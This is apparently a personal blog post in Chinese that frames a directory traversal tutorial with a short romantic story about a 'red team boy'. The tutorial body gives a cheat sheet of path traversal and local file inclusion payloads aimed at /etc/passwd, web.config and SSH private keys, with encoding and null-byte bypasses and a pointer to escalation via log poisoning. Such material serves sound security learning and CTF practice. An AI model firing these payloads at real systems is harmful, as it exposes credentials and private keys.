Terminal 上的游標閃爍,她在參數後一次又一次輸入 ../
。
她努力翻找每一層目錄,像是在拼命追溯自己所有喜歡過他的痕跡 —
那個她尋覓了好久,卻始終無法真正看透的他。
終於,她看見了一個檔案,裡頭留著他的名字與路徑。
她的心跳像是被打開的檔案內容,一行行全是熟悉卻再也無法修改的記錄。
她以為只要再多走幾層,就能找到真正的出口,像當初拿著私鑰時那樣滿懷希望。
但螢幕回傳的卻是冷冷的錯誤訊息:
Permission denied
那一刻,她明白:有些路徑不是靠技巧就能進入。
有些門,即使遍歷到最上層,也永遠無法開啟。
她把手從鍵盤上移開,低聲說了一句:「exit。」
螢幕熄滅,只剩下一片沈默。
謝謝你,紅隊男孩。那個讓我怦然心動的你,最終還是成為我逝去的青春。
利用應用程式接受「檔案路徑」作為輸入的特性,傳入相對路徑(例如 ../)或其他編碼形式,從而讀取或包含網站根目錄之外的檔案。
當程式接受要開啟或顯示的檔案名稱時,如果沒有把輸入「正規化」或用白名單限制,就可能被利用來「往上溯源」─ 一路從目前目錄往上回到系統其他位置,讀到原本不該公開的檔案(像設定檔、日誌或私鑰)。
常見測試檔案:/etc/passwd
、/etc/hosts
、/var/www/html/
...
常見測試檔案:C:\Windows\System32\drivers\etc\hosts
、C:\inetpub\wwwroot\web.config
找出可能以檔案當作參數的參數名稱,例如:page, file, lang, theme, template 等。
例如:滑鼠懸停或看原始碼找 GET
參數或 form
欄位。
嘗試直接訪問 https://host/path/<value>
或 ?param=value
(例:?language=en.html
→ 嘗試 /cms/en.html
)。
Linux 標準:
?page=../../../../etc/passwd
Windows 標準:
?page=..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts
Burp Intruder
/ Repeater
(或 ffuf、wfuzz)搭配 payload list。
curl
或 wget
做可靠 raw 請求(瀏覽器會改變格式)。
驗證檔案內容:檔案內容是否像系統檔(root:x:0:0:、-----BEGIN 等)。
假設有系統疑似存在目錄遍歷漏洞,發現 url 後面的 ?page
非常可疑 XD
可以試試看:
?page=../../../../../../etc/passwd
?page=../../../../../../etc/hosts
?page=../../../../../../var/www/html/config.php
?page=../../../../../../home/user/.ssh/id_rsa
?page=..\..\..\..\Windows\System32\drivers\etc\hosts
?page=..\..\..\..\inetpub\wwwroot\web.config
?page=..%2f..%2f..%2fetc%2fpasswd
?page=..%2f..%2f..%2f..%2f..%2fhome%2foffsec%2f.ssh%2fid_rsa
?page=..%252f..%252f..%252fetc%252fpasswd
URL encode / double encode:../ → %2e%2e%2f
、%252e%252e%252f
UTF-8 / Unicode 編碼:%c0%af
等(已較少有效,但針對舊系統)
Null byte 結尾(舊 PHP/CGI bug):/file.php%00
(現代 PHP 通常已修)
混合斜線:..\/..\/etc\/passwd
或 ..%5c..%5c
(Windows)
長序列的 ../(深層跳脫):有時需要超過一般深度(../../...)
basename/extension bypass:若程序只允許 .php
結尾,可試 ../../file.php%00.jpg
或 ../../file.php#
(視語言/框架而異)
利用絕對路徑:若應用接受絕對路徑,直接送 /etc/passwd
透過 LFI (Local File Inclusion) => RCE(若包含可執行內容,例如上傳可執行檔或 log poisoning)
# 人家都說顯化很靈驗,我這篇小說快寫完了。
# CTF 帥哥還是沒發現,哈哈!